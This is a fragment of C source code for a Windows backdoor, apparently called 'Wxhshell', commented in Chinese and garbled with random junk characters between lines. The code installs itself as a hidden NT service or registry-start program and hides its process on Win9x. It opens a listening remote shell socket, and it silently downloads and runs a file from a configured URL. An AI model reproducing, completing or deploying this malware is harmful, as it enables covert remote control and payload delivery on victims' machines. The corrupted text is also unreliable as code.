}ktIG|GC 6w<rSU d' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); %_|KiW if(!hProcess) return 0; Hhtl~2t!0 D&FDPaJM if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; tdK&vqq |Ahf 01 CloseHandle(hProcess); kN/YnY*J< ,=+t2Bn hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |3~m8v2- if(hProcess==NULL) return 0; RG'iWA,9m` &5y HMODULE hMod; ^}P94( oz char procName[255]; (7qlp*8.s unsigned long cbNeeded; nXn@|J&z~U 3(oMASf if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); AFi_P\X v*V(hMy CloseHandle(hProcess); xn`)I>v d92Z;FWb if(strstr(procName,"services")) return 1; // 以服务启动 eKOEOm+
uF<34 return 0; // 注册表启动 [)V~U? } nT?+^Ruc 2OoANiX // 主模块 L(|K{vH h] int StartWxhshell(LPSTR lpCmdLine) 1Le8W)J { {dxFd-K3 SOCKET wsl; tMw65Xei6b BOOL val=TRUE; U5C]zswL int port=0; ,\i*vJ#f struct sockaddr_in door; E_~e/y"- vb[0H{TT2 if(wscfg.ws_autoins) Install(); "73*0'm jSpj6:@B port=atoi(lpCmdLine); l,J>[Q`< s?HK2b^;D if(port<=0) port=wscfg.ws_port; =0?5hxM d lo!pslqsn WSADATA data; [yMSCCswW if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ZbC$Fk,,I& lG-B)
F if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; <}lah%4F setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [2,D] e door.sin_family = AF_INET; _GkLspSaU door.sin_addr.s_addr = inet_addr("127.0.0.1"); f+9eB door.sin_port = htons(port); wn@~80)$ 8=$X hC if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { QKjn/%l"@ closesocket(wsl); z]9t 5I return 1; <( OHX3~ } `qJJ{<1&U )5( jx if(listen(wsl,2) == INVALID_SOCKET) { \lG) J0 closesocket(wsl); )(,O~w return 1; 4^r6RS@z } {_b2!!p Wxhshell(wsl); MH#Tp#RG WSACleanup(); Y/J~M$9P, /wEl\Kx return 0; ]){ZL F'|K>!H } xS UpVK 2V]a+Cgk // 以NT服务方式启动 \i+AMduAo VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) EPJ>@A>;D { `V9bd}M%~; DWORD status = 0; B:X%k/{ DWORD specificError = 0xfffffff; S"*k#ao j1`<+YT<# serviceStatus.dwServiceType = SERVICE_WIN32; `^Ll@Cx" serviceStatus.dwCurrentState = SERVICE_START_PENDING; &wlD`0v serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; G2N0'R" serviceStatus.dwWin32ExitCode = 0; 8SU0q9X. serviceStatus.dwServiceSpecificExitCode = 0; 0uD3a-J serviceStatus.dwCheckPoint = 0; 'Y @yW3K serviceStatus.dwWaitHint = 0; S(CkA\[rz X'b3CS4 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); cO]w*Hti if (hServiceStatusHandle==0) return; rmggP( 2pmj*Y3"8 status = GetLastError(); .u\$wJ9Ai if (status!=NO_ERROR) (.=ig
X { 7>z {2D serviceStatus.dwCurrentState = SERVICE_STOPPED; J;~YD$ serviceStatus.dwCheckPoint = 0; Aa_@&e serviceStatus.dwWaitHint = 0; [;Ih I serviceStatus.dwWin32ExitCode = status; T;3qE1c serviceStatus.dwServiceSpecificExitCode = specificError; FS5iUH+5 SetServiceStatus(hServiceStatusHandle, &serviceStatus); =~J VU return; "8%$,rG1& } Zj -#"Gm adu6`2*$ serviceStatus.dwCurrentState = SERVICE_RUNNING; o@N[O^Q
V serviceStatus.dwCheckPoint = 0; _`p-^I serviceStatus.dwWaitHint = 0; C[.Xi if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); f3Zf97i } Sed8Q-m lv?`+tU2_ // 处理NT服务事件,比如:启动、停止 @?e~l:g})g VOID WINAPI NTServiceHandler(DWORD fdwControl) y0Gblza { }J6:D]Q switch(fdwControl) ^;ZpK@Luk { -HGRrWS case SERVICE_CONTROL_STOP: 4
. c1 serviceStatus.dwWin32ExitCode = 0; QOK,- serviceStatus.dwCurrentState = SERVICE_STOPPED; c
$r"q :\ serviceStatus.dwCheckPoint = 0; E[#VWM
I serviceStatus.dwWaitHint = 0; ]&H"EHC<$ { ;%d<Uk? SetServiceStatus(hServiceStatusHandle, &serviceStatus); U]}F A2 } eH7x>[lH. return; Io*H}$Gf case SERVICE_CONTROL_PAUSE:
m#_Rv serviceStatus.dwCurrentState = SERVICE_PAUSED; i7-i!`< break; eCR^$z=c case SERVICE_CONTROL_CONTINUE: r+m.!+ serviceStatus.dwCurrentState = SERVICE_RUNNING; 31c*^ZE. break; U2?R&c;b case SERVICE_CONTROL_INTERROGATE: [-[59H[6) break;
rR":}LA^d }; JwxKWVpWv SetServiceStatus(hServiceStatusHandle, &serviceStatus); kJl^,q } 5.ab/uk;M r'y Nc&~ // 标准应用程序主函数 X+sKG5nS int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 7w2$?k',- { ?;v\wx ?o.d FKUe // 获取操作系统版本 N$e
mS OsIsNt=GetOsVer(); mWYrUI GetModuleFileName(NULL,ExeFile,MAX_PATH); LI@BB:)[ sgP{A}4 W // 从命令行安装 l!XCYg@67 if(strpbrk(lpCmdLine,"iI")) Install(); L3HC- t O.5 // 下载执行文件 Ph]b6 if(wscfg.ws_downexe) { NA2={RB; if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qJT/48lf_ WinExec(wscfg.ws_filenam,SW_HIDE); fQC{LcS } 6QA`u* ^%zhj3# if(!OsIsNt) { sgi5dQ // 如果时win9x,隐藏进程并且设置为注册表启动 nK03x YA HideProc(); $365VTh" StartWxhshell(lpCmdLine); al}J^MJ } L!*+:L
DL else ?Xvy0/s5 if(StartFromService()) vE^tdzAG // 以服务方式启动 Cp/f18zO StartServiceCtrlDispatcher(DispatchTable); 2?
yo else VO eVS&} // 普通方式启动 n"RV!{& StartWxhshell(lpCmdLine); ?ckV 2
b4dviYI return 0; 2#:p:R8I> }
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